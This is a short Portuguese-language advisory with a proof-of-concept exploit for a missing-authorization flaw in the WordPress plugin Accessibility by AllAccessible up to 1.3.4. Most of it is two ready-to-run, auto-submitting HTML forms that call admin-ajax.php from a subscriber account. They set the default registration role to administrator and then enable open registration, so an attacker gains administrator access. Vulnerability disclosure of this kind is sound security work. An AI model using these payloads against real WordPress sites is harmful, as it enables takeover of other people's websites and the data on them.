
Acessibilidade por AllAccessible <= 1.3.4 - Falta de Autorização para Autenticado (Subscriber+) Atualização Arbitrária de Opção
Accessibility by AllAccessible <= 1.3.4 – Autorização Ausente para Atualização Arbitrária de Opções por Usuário Autenticado (Assinante+)
O plugin Accessibility by AllAccessible para WordPress é vulnerável a modificação não autorizada de dados que pode levar à escalada de privilégios devido à falta de verificação de capacidade na função 'AllAccessible_save_settings' em todas as versões até, e incluindo, 1.3.4. Isso possibilita que atacantes autenticados, com acesso de nível Assinante e superior, atualizem opções arbitrárias no site WordPress. Isso pode ser usado para atualizar o papel padrão para registro como administrador e habilitar o registro de usuários para que atacantes obtenham acesso administrativo a um site vulnerável.
Faça login como assinante e use este formulário para definir o papel padrão como administrador e, em seguida, o segundo para que os usuários possam se registrar.
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="default_role" />
<input type="hidden" name="opt_value" value="administrator" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="users_can_register" />
<input type="hidden" name="opt_value" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>